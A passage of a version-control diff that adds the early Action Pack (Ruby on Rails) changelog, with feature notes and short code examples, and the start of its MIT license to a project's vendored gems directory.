+* Added that controllers will now search for a layout in $template_root/layouts/$controller_name.r(html|xml), so PostsController will look
+  for layouts/posts.rhtml or layouts/posts.rxml and automatically configure this layout if found #307 [Marcel]
+
+* Added FormHelper#radio_button to work with radio buttons like its already possible with check boxes [Michael Koziarski]
+
+* Added TemplateError#backtrace that makes it much easier to debug template errors from unit and functional tests
+
+* Added display of error messages with scaffolded form pages
+
+* Added option to ERB templates to swallow newlines by using <% if something -%> instead of just <% if something %>. Example:
+
+    class SomeController < ApplicationController
+    <% if options[:scaffold] %>
+      scaffold :<%= singular_name %>
+    <% end %>
+      helper :post
+  
+  ...produces this on post as singular_name:
+
+    class SomeController < ApplicationController
+    
+      scaffold :post
+    
+      helper :post
+  
+  ...where as:
+
+    class SomeController < ApplicationController
+    <% if options[:scaffold] -%>
+      scaffold :<%= singular_name %>
+    <% end -%>
+      helper :post
+  
+  ...produces:
+
+    class SomeController < ApplicationController
+      scaffold :post
+      helper :post
+  
+  [This undocumented gem for ERb was uncovered by bitsweat]
+
+* Fixed CgiRequest so that it'll now accept session options with Symbols as keys (as the documentation points out) [Suggested by Andreas]
+
+* Added that render_partial will always by default include a counter with value 1 unless there is a counter passed in via the 
+  local_assigns hash that overrides it. As a result, render_collection_of_partials can still be written in terms of render_partial
+  and partials that make use of a counter can be called without problems from both render_collection_of_partials as well as
+  render_partial #295 [marcel]
+
+* Fixed CgiRequest#out to fall back to #write if $stdout doesn't have #syswrite [Jeremy Kemper]
+
+* Fixed all helpers so that they use XHTML compliant double quotes for values instead of single quotes [htonl/bitsweat]
+
+* Added link_to_image(src, options = {}, html_options = {}). Documentation:
+
+    Creates a link tag to the image residing at the +src+ using an URL created by the set of +options+. See the valid options in
+    link:classes/ActionController/Base.html#M000021. It's also possible to pass a string instead of an options hash to
+    get a link tag that just points without consideration. The <tt>html_options</tt> works jointly for the image and ahref tag by
+    letting the following special values enter the options on the image and the rest goes to the ahref:
+    
+    ::alt: If no alt text is given, the file name part of the +src+ is used (capitalized and without the extension)
+    ::size: Supplied as "XxY", so "30x45" becomes width="30" and height="45"
+    ::align: Sets the alignment, no special features
+    
+    The +src+ can be supplied as a... 
+    * full path, like "/my_images/image.gif"
+    * file name, like "rss.gif", that gets expanded to "/images/rss.gif"
+    * file name without extension, like "logo", that gets expanded to "/images/logo.png"
+
+* Fixed to_input_field_tag so it no longer explicitly uses InstanceTag.value if value was specified in the options hash [evl]
+
+* Added the possibility of having validate be protected for assert_(in)valid_column #263 [Tobias Luetke]
+
+* Added that ActiveRecordHelper#form now calls url_for on the :action option.
+
+* Added all the HTTP methods as alternatives to the generic "process" for functional testing #276 [Tobias Luetke]. Examples:
+
+    # Calls Controller#miletone with a GET request
+    process :milestone
+    
+    # Calls Controller#miletone with a POST request that has parameters
+    post :milestone, { "name" => "David" }
+    
+    # Calls Controller#milestone with a HEAD request that has both parameters and session data
+    head :milestone, { "id" => 1 }, { "user_id" => 23 }
+
+  This is especially useful for testing idiomatic REST web services.
+
+* Added proper handling of HEAD requests, so that content isn't returned (Request#head? added as well) #277 [Eric Hodel]
+
+* Added indifference to whether @headers["Content-Type"], @headers["Content-type"], or @headers["content-type"] is used.
+
+* Added TestSession#session_id that returns an empty string to make it easier to functional test applications that doesn't use 
+  cookie-based sessions #275 [jcf]
+
+* Fixed that cached template loading would still check the file system to see if the file existed #258 [Andreas Schwarz]
+
+* Added options to tailor header tag, div id, and div class on ActiveRecordHelper#error_messages_for [Josh Peek]
+
+* Added graceful handling of non-alphanumeric names and misplaced brackets in input parameters [Jeremy Kemper]
+
+* Added a new container for cookies that makes them more intuative to use. The old methods of cookie and @cookies have been deprecated.
+
+  Examples for writing:
+
+    cookies["user_name"] = "david" # => Will set a simple session cookie
+    cookies["login"] = { "value" => "XJ-122", "expires" => Time.now + 360} # => Will set a cookie that expires in 1 hour
+    
+  Examples for reading:
+  
+    cookies["user_name"] # => "david"
+    cookies.size         # => 2
+
+  Read more in ActionController::Cookies
+
+  NOTE: If you were using the old accessor (cookies instead of @cookies), this could potentially break your code -- if you expect a full cookie object!
+
+* Added the opportunity to defined method_missing on a controller which will handle all requests for actions not otherwise defined #223 [timb]
+
+* Fixed AbstractRequest#remote_ip for users going through proxies - Patch #228 [Eric Hodel]
+
+* Added Request#ssl? which is shorthand for @request.protocol == "https://"
+
+* Added the choice to call form_tag with no arguments (resulting in a form posting to current action) [Jeremy Kemper]
+
+* Upgraded to Builder 1.2.1
+
+* Added :module as an alias for :controller_prefix to url_for and friends, so you can do redirect_to(:module => "shop", :controller => "purchases")
+  and go to /shop/purchases/
+
+* Added support for controllers in modules through @params["module"].
+
+* Added reloading for dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use those environments for development.
+  This is turned on by default, but can be turned off with ActionController::Base.reload_dependencies = false in production environments.
+
+  NOTE: This will only have an effect if you use the new model, service, and observer class methods to mark dependencies. All libraries loaded through
+  require will be "forever" cached. You can, however, use ActionController::Base.load_or_require("library") to get this behavior outside of the new
+  dependency style.
+
+* Added that controllers will automatically require their own helper if possible. So instead of doing:
+
+    class MsgController < ApplicationController
+      helper :msg
+    end
+    
+  ...you can just do:
+  
+    class MsgController < ApplicationController
+    end
+
+* Added dependencies_on(layer) to query the dependencies of a controller. Examples:
+  
+    MsgController.dependencies_on(:model)    # => [ :post, :comment, :attachment ]
+    MsgController.dependencies_on(:service)  # => [ :notification_service ]
+    MsgController.dependencies_on(:observer) # => [ :comment_observer ]
+
+* Added a new dependency model with the class methods model, service, and observer. Example:
+
+    class MsgController < ApplicationController
+      model    :post, :comment, :attachment
+      service  :notification_service
+      observer :comment_observer
+    end
+
+  These new "keywords" remove the need for explicitly calling 'require' in most cases. The observer method even instantiates the
+  observer as well as requiring it.
+
+* Fixed that link_to would escape & in the url again after url_for already had done so
+
+
+*0.9.5* (28)
+
+* Added helper_method to designate that a given private or protected method you should available as a helper in the view. [Jeremy Kemper]
+
+* Fixed assert_rendered_file so it actually verifies if that was the rendered file [htonl]
+
+* Added the option for sharing partial spacer templates just like partials themselves [radsaq]
+
+* Fixed that Russia was named twice in country_select [alexey]
+
+* Fixed request_origin to use remote_ip instead of remote_addr [Jeremy Kemper]
+
+* Fixed link_to breakage when nil was passed for html_options [alexey]
+
+* Fixed redirect_to on a virtual server setup with apache with a port other than the default where it would forget the port number [seanohalpin]
+
+* Fixed that auto-loading webrick on Windows would cause file uploads to fail [Jeremy Kemper]
+
+* Fixed issues with sending files on WEBrick by setting the proper binmode [Jeremy Kemper]
+
+* Added send_data as an alternative to send_file when the stream is not read off the filesystem but from a database or generated live [Jeremy Kemper]
+
+* Added a new way to include helpers that doesn't require the include hack and can go without the explicit require. [Jeremy Kemper]
+
+  Before:
+
+    module WeblogHelper
+      def self.included(controller) #:nodoc:
+        controller.ancestors.include?(ActionController::Base) ? controller.add_template_helper(self) : super
+      end
+    end
+
+    require 'weblog_helper'
+    class WeblogController < ActionController::Base
+      include WeblogHelper
+    end
+    
+  After:
+
+    module WeblogHelper
+    end
+
+    class WeblogController < ActionController::Base
+      helper :weblog
+    end
+
+* Added a default content-type of "text/xml" to .rxml renders [Ryan Platte]
+
+* Fixed that when /controller/index was requested by the browser, url_for would generates wrong URLs [Ryan Platte]
+
+* Fixed a bug that would share cookies between users when using FastCGI and mod_ruby [The Robot Co-op]
+
+* Added an optional third hash parameter to the process method in functional tests that takes the session data to be used [alexey]
+
+* Added UrlHelper#mail_to to make it easier to create mailto: style ahrefs
+
+* Added better error messages for layouts declared with the .rhtml extension (which they shouldn't) [geech]
+
+* Added another case to DateHelper#distance_in_minutes to return "less than a minute" instead of "0 minutes" and "1 minute" instead of "1 minutes"
+
+* Added a hidden field to checkboxes generated with FormHelper#check_box that will make sure that the unchecked value (usually 0)
+  is sent even if the checkbox is not checked. This relieves the controller from doing custom checking if the checkbox wasn't
+  checked. BEWARE: This might conflict with your run-on-the-mill work-around code. [Tobias Luetke]
+
+* Fixed error_message_on to just use the first if more than one error had been added [marcel]
+
+* Fixed that URL rewriting with /controller/ was working but /controller was not and that you couldn't use :id on index [geech]
+
+* Fixed a bug with link_to where the :confirm option wouldn't be picked up if the link was a straight url instead of an option hash
+
+* Changed scaffolding of forms to use <label> tags instead of <b> to please W3C [evl]
+
+* Added DateHelper#distance_of_time_in_words_to_now(from_time) that works like distance_of_time_in_words, 
+  but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
+
+* Added assert_flash_equal(expected, key, message), assert_session_equal(expected, key, message), 
+  assert_assigned_equal(expected, key, message) to test the contents of flash, session, and template assigns.
+
+* Improved the failure report on assert_success when the action triggered a redirection [alexey].
+
+* Added "markdown" to accompany "textilize" as a TextHelper method for converting text to HTML using the Markdown syntax.
+  BlueCloth must be installed in order for this method to become available.
+
+* Made sure that an active session exists before we attempt to delete it [Samuel]
+
+* Changed link_to with Javascript confirmation to use onclick instead of onClick for XHTML validity [Scott Barron]
+
+
+*0.9.0 (43)*
+
+* Added support for Builder-based templates for files with the .rxml extension. These new templates are an alternative to ERb that
+  are especially useful for generating XML content, such as this RSS example from Basecamp:
+
+    xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+      xml.channel do
+        xml.title(@feed_title)
+        xml.link(@url)
+        xml.description "Basecamp: Recent items"
+        xml.language "en-us"
+        xml.ttl "40"
+    
+        for item in @recent_items
+          xml.item do
+            xml.title(item_title(item))
+            xml.description(item_description(item)) if item_description(item)
+            xml.pubDate(item_pubDate(item))
+            xml.guid(@person.firm.account.url + @recent_items.url(item))
+            xml.link(@person.firm.account.url + @recent_items.url(item))
+        
+            xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+          end
+        end
+      end
+    end
+
+    ...which will generate something like:
+
+    <rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
+      <channel>
+        <title>Web Site Redesign</title>
+        <link>http://www.basecamphq.com/clients/travelcenter/1/</link>
+        <description>Basecamp: Recent items</description>
+        <language>en-us</language>
+        <ttl>40</ttl>
+        <item>
+          <title>Post: don't you know</title>
+          <description>&amp;lt;p&amp;gt;deeper and down&amp;lt;/p&amp;gt;</description>
+          <pubDate>Fri, 20 Aug 2004 21:13:50 CEST</pubDate>
+          <guid>http://www.basecamphq.com/clients/travelcenter/1/msg/assets/96976/comments</guid>
+          <link>http://www.basecamphq.com/clients/travelcenter/1/msg/assets/96976/comments</link>
+          <dc:creator>David H. Heinemeier</dc:creator>
+        </item>
+        <item>
+          <title>Milestone completed: Design Comp 2</title>
+          <pubDate>Mon,  9 Aug 2004 14:42:06 CEST</pubDate>
+          <guid>http://www.basecamphq.com/clients/travelcenter/1/milestones/#49</guid>
+          <link>http://www.basecamphq.com/clients/travelcenter/1/milestones/#49</link>
+        </item>
+      </channel>
+    </rss>
+
+  The "xml" local variable is automatically available in .rxml templates. You construct the template by calling a method with the name
+  of the tag you want. Options for the tag can be specified as a hash parameter to that method.
+
+  Builder-based templates can be mixed and matched with the regular ERb ones. The only thing that differentiates them is the extension.
+  No new methods have been added to the public interface to handle them. 
+  
+  Action Pack ships with a version of Builder, but it will use the RubyGems version if you have one installed.
+  
+  Read more about Builder on: http://onestepback.org/index.cgi/Tech/Ruby/StayingSimple.rdoc
+  
+  [Builder is created by Jim Weirich]
+
+* Added much improved support for functional testing [what-a-day].
+
+    # Old style
+    def test_failing_authenticate
+      @request.request_uri = "/login/authenticate"
+      @request.action = "authenticate"
+      @request.request_parameters["user_name"] = "nop"
+      @request.request_parameters["password"]  = ""
+  
+      response = LoginController.process_test(@request)
+  
+      assert_equal "The username and/or password you entered is invalid.", response.session["flash"]["alert"]
+      assert_equal "http://37signals.basecamp.com/login/", response.headers["location"]
+    end
+
+    # New style
+    def test_failing_authenticate
+      process :authenticate, "user_name" => "nop", "password" => ""
+      assert_flash_has 'alert'
+      assert_redirected_to :action => "index"
+    end
+
+  See a full example on http://codepaste.org/view/paste/334
+
+* Increased performance by up to 100% with a revised cookie class that fixes the performance problems with the 
+  default one that ships with 1.8.1 and below. It replaces the inheritance on SimpleDelegator with DelegateClass(Array)
+  following the suggestion from Matz on:
+  http://groups.google.com/groups?th=e3a4e68ba042f842&seekm=c3sioe%241qvm%241%40news.cybercity.dk#link14
+
+* Added caching for compiled ERb templates. On Basecamp, it gave between 8.5% and 71% increase in performance [Andreas Schwarz].
+
+* Added implicit counter variable to render_collection_of_partials [Marcel]. From the docs:
+
+    <%= render_collection_of_partials "ad", @advertisements %>
+    
+    This will render "advertiser/_ad.rhtml" and pass the local variable +ad+ to the template for display. An iteration counter
+    will automatically be made available to the template with a name of the form +partial_name_counter+. In the case of the 
+    example above, the template would be fed +ad_counter+.
+
+* Fixed problems with two sessions being maintained on reset_session that would particularly screw up ActiveRecordStore.
+
+* Fixed reset_session to start an entirely new session instead of merely deleting the old. So you can now safely access @session
+  after calling reset_ression and expect it to work.
+
+* Added @request.get?, @request.post?, @request.put?, @request.delete? as convenience query methods for @request.method [geech]
+
+* Added @request.method that'll return a symbol representing the HTTP method, such as :get, :post, :put, :delete [geech]
+
+* Changed @request.remote_ip and @request.host to work properly even when a proxy is in front of the application [geech]
+
+* Added JavaScript confirm feature to link_to. Documentation:
+
+    The html_options have a special feature for creating javascript confirm alerts where if you pass 
+    :confirm => 'Are you sure?', the link will be guarded with a JS popup asking that question.
+    If the user accepts, the link is processed, otherwise not.
+
+* Added link_to_unless_current as a UrlHelper method [Sam Stephenson]. Documentation:
+
+    Creates a link tag of the given +name+ using an URL created by the set of +options+, unless the current 
+    controller, action, and id are the same as the link's, in which case only the name is returned (or the
+    given block is yielded, if one exists). This is useful for creating link bars where you don't want to link 
+    to the page currently being viewed.
+
+* Fixed that UrlRewriter (the driver for url_for, link_to, etc) would blow up when the anchor was an integer [alexey]
+
+* Added that layouts defined with no directory defaults to layouts. So layout "weblog/standard" will use
+  weblog/standard (as always), but layout "standard" will use layouts/standard.
+
+* Fixed that partials (or any template starting with an underscore) was publically viewable [Marten]
+
+* Added HTML escaping to text_area helper.
+
+* Added :overwrite_params to url_for and friends to keep the parameters as they were passed to the current action and only overwrite a subset.
+  The regular :params will clear the slate so you need to manually add in existing parameters if you want to reuse them. [raphinou]
+
+* Fixed scaffolding problem with composite named objects [Moo Jester]
+
+* Added the possibility for shared partials. Example:
+
+    <%= render_partial "advertisement/ad", ad %>
+  
+  This will render the partial "advertisement/_ad.rhtml" regardless of which controller this is being called from.
+  
+  [Jacob Fugal]
+
+* Fixed crash when encountering forms that have empty-named fields [James Prudente]
+
+* Added check_box form helper method now accepts true/false as well as 1/0 [what-a-day]
+
+* Fixed the lacking creation of all directories with install.rb [Dave Steinberg]
+
+* Fixed that date_select returns valid XHTML selected options [Andreas Schwarz]
+
+* Fixed referencing an action with the same name as a controller in url_for [what-a-day]
+
+* Fixed the destructive nature of Base#attributes= on the argument [Kevin Watt]
+
+* Changed ActionControllerError to decent from StandardError instead of Exception. It can now be caught by a generic rescue.
+
+* Added SessionRestoreError that is raised when a session being restored holds objects where there is no class available.
+
+* Added block as option for inline filters. So what used to be written as:
+
+    before_filter Proc { |controller| return false if controller.params["stop_action"] }
+
+  ...can now be as:
+
+    before_filter { |controller| return false if controller.params["stop_action"] }
+  
+  [Jeremy Kemper]
+
+* Made the following methods public (was protected): url_for, controller_class_name, controller_name, action_name
+  This makes it easier to write filters without cheating around the encapsulation with send.
+
+* ActionController::Base#reset_session now sticks even if you access @session afterwards [Kent Sibilev]
+
+* Improved the exception logging so the log file gets almost as much as in-browser debugging.
+
+* Changed base class setup from AbstractTemplate/ERbTemplate to ActionView::Base. This change should be harmless unless you were
+  accessing Action View directly in which case you now need to reference the Base class.\
+
+* Added that render_collection_of_partials returns nil if the collection is empty. This makes showing a “no items” message easier. 
+  For example: <%= render_collection_of_partials("message", @messages) || "No messages found." %> [Sam Stephenson]
+
+* Added :month_before_year as an option to date_select to get the month select before the year. Especially useful for credit card forms.
+
+* Added :add_month_numbers to select_month to get options like "3 - March".
+
+* Removed Base.has_active_layout? as it couldn't answer the question without the instance. Use Base#active_layout instead.
+
+* Removed redundant call to update on ActionController::Base#close_session [Andreas Schwarz]
+
+* Fixed that DRb Store accidently started its own server (instead of just client) [Andreas]
+
+* Fixed strip_links so it now works across multiple lines [Chad Fowler]
+
+* Fixed the TemplateError exception to show the proper trace on to_s (useful for unit test debugging)
+
+* Implemented class inheritable attributes without eval [Caio Chassot]
+
+* Made TextHelper#concat accept binding as it would otherwise not work
+
+* The FormOptionsHelper will now call to_s on the keys and values used to generate options
+
+
+*0.8.5*
+
+* Introduced passing of locally scoped variables between templates:
+
+    You can pass local variables to sub templates by using a hash of with the variable 
+    names as keys and the objects as values:
+    
+      <%= render "shared/header", { "headline" => "Welcome", "person" => person } %>
+    
+    These can now be accessed in shared/header with:
+    
+      Headline: <%= headline %>
+      First name: <%= person.first_name %>
+    
+* Introduced the concept of partials as a certain type of sub templates:
+
+    There's also a convenience method for rendering sub templates within the current 
+    controller that depends on a single object (we call this kind of sub templates for 
+    partials). It relies on the fact that partials should follow the naming convention
+    of being prefixed with an underscore -- as to separate them from regular templates
+    that could be rendered on their own. In the template for Advertiser#buy, we could have:
+    
+      <% for ad in @advertisements %>
+        <%= render_partial "ad", ad %>
+      <% end %>
+    
+    This would render "advertiser/_ad.rhtml" and pass the local variable +ad+ 
+    for the template to display.
+    
+    == Rendering a collection of partials
+    
+    The example of partial use describes a familar pattern where a template needs
+    to iterate over a array and render a sub template for each of the elements. 
+    This pattern has been implemented as a single method that accepts an array and 
+    renders a partial by the same name of as the elements contained within. So the 
+    three-lined example in "Using partials" can be rewritten with a single line:
+    
+      <%= render_collection_of_partials "ad", @advertisements %>
+    
+    So this will render "advertiser/_ad.rhtml" and pass the local variable +ad+ for 
+    the template to display.
+
+* Improved send_file by allowing a wide range of options to be applied [Jeremy Kemper]:
+
+    Sends the file by streaming it 4096 bytes at a time. This way the
+    whole file doesn't need to be read into memory at once.  This makes
+    it feasible to send even large files.
+    
+    Be careful to sanitize the path parameter if it coming from a web
+    page.  send_file(@params['path'] allows a malicious user to
+    download any file on your server.
+    
+    Options:
+    * <tt>:filename</tt> - specifies the filename the browser will see.  
+      Defaults to File.basename(path).
+    * <tt>:type</tt> - specifies an HTTP content type.  
+      Defaults to 'application/octet-stream'.
+    * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.  
+      Valid values are 'inline' and 'attachment' (default).
+    * <tt>:buffer_size</tt> - specifies size (in bytes) of the buffer used to stream
+      the file.  Defaults to 4096.
+    
+    The default Content-Type and Content-Disposition headers are
+    set to download arbitrary binary files in as many browsers as
+    possible.  IE versions 4, 5, 5.5, and 6 are all known to have
+    a variety of quirks (especially when downloading over SSL).
+    
+    Simple download:
+      send_file '/path/to.zip'
+    
+    Show a JPEG in browser:
+      send_file '/path/to.jpeg', :type => 'image/jpeg', :disposition => 'inline'
+    
+    Read about the other Content-* HTTP headers if you'd like to
+    provide the user with more information (such as Content-Description).
+    http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11
+    
+    Also be aware that the document may be cached by proxies and browsers.
+    The Pragma and Cache-Control headers declare how the file may be cached
+    by intermediaries.  They default to require clients to validate with
+    the server before releasing cached responses.  See
+    http://www.mnot.net/cache_docs/ for an overview of web caching and
+    http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
+    for the Cache-Control header spec.
+
+* Added pluralize method to the TextHelper that makes it easy to get strings like "1 message", "3 messages"
+
+* Added proper escaping for the rescues [Andreas Schwarz]
+
+* Added proper escaping for the option and collection tags [Andreas Schwarz]
+
+* Fixed NaN errors on benchmarking [Jim Weirich]
+
+* Fixed query string parsing for URLs that use the escaped versions of & or ; as part of a key or value
+
+* Fixed bug with custom Content-Type headers being in addition to rather than instead of the default header.
+  (This bug didn't matter with neither CGI or mod_ruby, but FCGI exploded on it) [With help from Ara T. Howard]
+
+
+*0.8.0*
+
+* Added select, collection_select, and country_select to make it easier for Active Records to set attributes through
+  drop-down lists of options. Example:
+  
+    <%= select "person", "gender", %w( Male Female ) %>
+    
+  ...would give the following:
+  
+    <select name="person[gender]" id="person_gender"><option>Male</option><option>Female</option></select>
+
+* Added an option for getting multiple values on a single form name into an array instead of having the last one overwrite.
+  This is especially useful for groups of checkboxes, which can now be written as:
+  
+    <input type="checkbox" name="rights[]" value="CREATE" />
+    <input type="checkbox" name="rights[]" value="UPDATE" />
+    <input type="checkbox" name="rights[]" value="DELETE" />
+  
+  ...and retrieved in the controller action with:
+  
+    @params["rights"] # => [ "CREATE", "UPDATE", "DELETE" ]
+  
+  The old behavior (where the last one wins, "DELETE" in the example) is still available. Just don't add "[]" to the 
+  end of the name. [Scott Baron]
+  
+* Added send_file which uses the new render_text block acceptance to make it feasible to send large files.
+  The files is sent with a bunch of voodoo HTTP headers required to get arbitrary files to download as 
+  expected in as many browsers as possible (eg, IE hacks). Example:
+  
+  def play_movie
+    send_file "/movies/that_movie.avi"
+  end
+  
+  [Jeremy Kemper]
+
+* render_text now accepts a block for deferred rendering. Useful for streaming large files, displaying 
+  a “please wait” message during a complex search, etc. Streaming example:
+  
+    render_text do |response|
+      File.open(path, 'rb') do |file|
+        while buf = file.read(1024)
+          print buf 
+        end 
+      end
+    end
+  
+  [Jeremy Kemper]
+
+* Added a new Tag Helper that can generate generic tags programmatically insted of through HTML. Example:
+    
+    tag("br", "clear" => "all") => <br clear="all" />
+  
+  ...that's usually not terribly interesting (unless you have a lot of options already in a hash), but it 
+  gives way for more specific tags, like the new form tag:
+  
+    form_tag({ :controller => "weblog", :action => "update" }, { :multipart => "true", "style" => "width: 200px"}) =>
+      <form action="/weblog/update" enctype="multipart/formdata" style="width: 200px">
+    
+  There's even a "pretty" version for people who don't like to open tags in code and close them in HTML:
+  
+    <%= start_form_tag :action => "update" %>
+      # all the input fields
+    <%= end_form_tag %>
+  
+  (end_form_tag just returns "</form>")
+
+* The selected parameter in options_for_select may now also an array of values to be selected when 
+  using a multiple select. Example:
+
+    options_for_select([ "VISA", "Mastercard", "Discover" ], ["VISA", "Discover"]) =>
+      <option selected>VISA</option>\n<option>Mastercard</option>\n<option selected>Discover</option>
+      
+  [Scott Baron]
+
+* Changed the URL rewriter so controller_prefix and action_prefix can be used in isolation. You can now do:
+
+    url_for(:controller_prefix => "clients")
+
+  ...or:
+  
+    url_for(:action_prefix => "category/messages")
+
+  Neither would have worked in isolation before (:controller_prefix required a :controller and :action_prefix required an :action)
+
+* Started process of a cleaner separation between Action Controller and ERb-based Action Views by introducing an
+  abstract base class for views. And Amita adapter could be fitted in more easily now.
+
+* The date helper methods date_select and datetime_select now also use the field error wrapping 
+  (div with class fieldWithErrors by default).
+
+* The date helper methods date_select and datetime_select can now discard selects
+
+* Added option on AbstractTemplate to specify a different field error wrapping. Example:
+
+    ActionView::AbstractTemplate.field_error_proc = Proc.new do |html, instance|
+      "<p>#{instance.method_name + instance.error_message}</p><div style='background-color: red'>#{html}</div>"
+    end
+
+  ...would give the following on a Post#title (text field) error:
+  
+    <p>Title can't be empty</p>
+    <div style='background-color: red'>
+      <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
+    </div>
+
+* The UrlHelper methods url_for and link_to will now by default only return paths, not complete URIs.
+  That should make it easier to fit a Rails application behind a proxy or load-balancer.
+  You can overwrite this by passing :only_path => false as part of the options. [Suggested by U235]
+
+* Fixed bug with having your own layout for use with scaffolding [Kevin Radloff]
+
+* Fixed bug where redirect_to_path didn't append the port on non-standard ports [dhawkins]
+
+* Scaffolding plays nicely with single-table inheritance (LoadErrors are caught) [Jeremy Kemper]
+
+* Scaffolding plays nice with plural models like Category/categories [Jeremy Kemper]
+
+* Fixed missing suffix appending in scaffolding [Kevin Radloff]
+
+
+*0.7.9*
+
+* The "form" method now present boolean fields from PostgreSQL as drop-down menu. [Scott]
+
+* Scaffolding now automatically attempts to require the class that's being scaffolded.
+
+* Scaffolding will use the current active layout, instead of its own, if one has been specified. Example:
+
+    class WeblogController < ActionController::Base
+      layout "layouts/weblog"
+      scaffold :post
+    end
+  
+  [Suggested by Scott]
+
+* Changed url_for (and all the that drives, like redirect_to, link_to, link_for) so you can pass it a symbol instead of a hash.
+  This symbol is a method reference which is then called to calculate the url. Example:
+  
+    class WeblogController < ActionController::Base
+      def update
+        # do some update
+        redirect_to :dashboard_url
+      end
+      
+      protected
+        def dashboard_url
+          if @project.active?
+            url_for :controller => "project", :action => "dashboard"
+          else
+            url_for :controller => "account", :action => "dashboard"
+          end
+        end
+    end
+      
+* Added default_url_options to specialize behavior for all url_for (and friends) calls:
+
+    Overwrite to implement a number of default options that all url_for-based methods will use. 
+    The default options should come in form of a hash, just like the one you would use for 
+    url_for directly. Example:
+    
+      def default_url_options(options)
+        { :controller_prefix => @project.active? ? "projects/" : "accounts/" }
+      end
+    
+    As you can infer from the example, this is mostly useful for situations where you want to 
+    centralize dynamic dissions about the urls as they stem from the business domain. Please note
+    that any individual url_for call can always override the defaults set by this method.
+    
+
+* Changed url_for so that an "id" passed in the :params is not treated special. You need to use the dedicated :id to get 
+  the special auto path-params treatment. Considering the url http://localhost:81/friends/list
+
+    url_for(:action => "show", :params => { "id" => 5 })
+      ...used to give http://localhost:81/friends/show/5
+      ......now gives http://localhost:81/friends/show?id=5
+
+    If you want the automated id behavior, do:
+
+    url_for(:action => "show", :id => 5 )
+      ....which gives http://localhost:81/friends/show/5
+
+
+* Fixed problem with anchor being inserted before path parameters with url_for (and friends)
+
+
+*0.7.8*
+
+* Fixed session bug where you couldn't store any objects that didn't exist in the standard library 
+  (such as Active Record objects).
+
+* Added reset_session method for Action Controller objects to clear out all objects in the session.
+
+* Fixed that exceptions raised during filters are now also caught by the default rescues
+
+* Added new around_filter for doing before and after filtering with a single object [Florian Weber]:
+
+    class WeblogController < ActionController::Base
+      around_filter BenchmarkingFilter.new
+      
+      # Before this action is performed, BenchmarkingFilter#before(controller) is executed
+      def index
+      end
+      # After this action has been performed, BenchmarkingFilter#after(controller) is executed
+    end
+    
+    class BenchmarkingFilter
+      def initialize
+        @runtime
+      end
+      
+      def before
+        start_timer
+      end
+      
+      def after
+        stop_timer
+        report_result
+      end
+    end
+
+* Added the options for specifying a different name and id for the form helper methods than what is guessed [Florian Weber]:
+
+    text_field "post", "title"
+      ...just gives: <input id="post_title" name="post[title]" size="30" type="text" value="" />
+      
+    text_field "post", "title", "id" => "title_for_post", "name" => "first_post_title"
+      ...can now give: <input id="title_for_post" name="first_post_title" size="30" type="text" value="" />
+
+* Added DebugHelper with a single "debug" method for doing pretty dumps of objects in the view
+  (now used in the default rescues to better present the contents of session and template variables)
+
+* Added note to log about the templates rendered within layouts (before just the layout was shown)
+
+* Fixed redirects on https setups [Andreas]
+
+* Fixed scaffolding problem on the edit action when using :suffix => true [Scott]
+
+* Fixed scaffolding problem where implementing list.rhtml wouldn't work for the index action
+
+* URLs generated now uses &amp; instead of just & so pages using it can validate with W3C [Spotted by Andreas]
+
+
+*0.7.7*
+
+* Fixed bug in CGI extension that prevented multipart forms from working
+
+
+*0.7.6*
+
+* Included ERB::Util so all templates can easily escape HTML content with <%=h @person.content %>
+
+* All requests are now considered local by default, so everyone will be exposed to detailed debugging screens on errors.
+  When the application is ready to go public, set ActionController::Base.consider_all_requests_local to false, 
+  and implement the protected method local_request? in the controller to determine when debugging screens should be shown.
+
+* Fixed three bugs with the url_for/redirect_to/link_to handling. Considering the url http://localhost:81/friends/show/1
+
+    url_for(:action => "list")
+      ...used to give http://localhost:81/friends/list/1
+      ......now gives http://localhost:81/friends/list
+    
+    url_for(:controller => "friends", :action => "destroy", :id => 5)
+      ...used to give http://localhost:81/friends/destroy
+      ......now gives http://localhost:81/friends/destroy/5
+
+  Considering the url http://localhost:81/teachers/show/t
+
+    url_for(:action => "list", :id => 5)
+      ...used to give http://localhost:81/5eachers/list/t
+      ......now gives http://localhost:81/teachers/list/5
+  
+  [Reported by David Morton & Radsaq]
+
+* Logs exception to logfile in addition to showing them for local requests
+
+* Protects the eruby load behind a begin/rescue block. eRuby is not required to run ActionController.
+
+* Fixed install.rb to also install clean_logger and the templates
+
+* Added ActiveRecordStore as a session option. Read more in lib/action_controller/session/active_record_store.rb [Tim Bates]
+
+* Change license to MIT License (and included license file in package)
+
+* Application error page now returns status code 500 instead of 200
+
+* Fixed using Procs as layout handlers [Florian Weber]
+
+* Fixed bug with using redirects ports other than 80
+
+* Added index method that calls list on scaffolding
+
+
+*0.7.5*
+
+* First public release

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/MIT-LICENSE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/MIT-LICENSE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/MIT-LICENSE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2008 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
